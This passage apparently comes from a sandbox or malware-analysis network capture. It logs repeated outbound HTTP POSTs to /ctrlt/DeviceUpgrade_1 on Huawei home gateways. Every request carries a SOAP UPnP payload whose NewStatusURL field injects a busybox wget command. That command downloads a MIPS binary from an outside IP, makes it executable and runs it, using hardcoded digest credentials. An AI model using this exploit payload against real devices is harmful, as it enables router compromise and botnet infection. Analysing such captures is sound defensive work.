6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:25.799243927 CET	1175	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.270015955 CET	1426	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.747184992 CET	1988	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:34.653779984 CET	3064	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	156.230.27.184	37215	192.168.2.23	45946

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:20.312721014 CET	1033	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:21.927740097 CET	1062	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.847455978 CET	1141	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:27.846904993 CET	1227	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.525820017 CET	1450	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 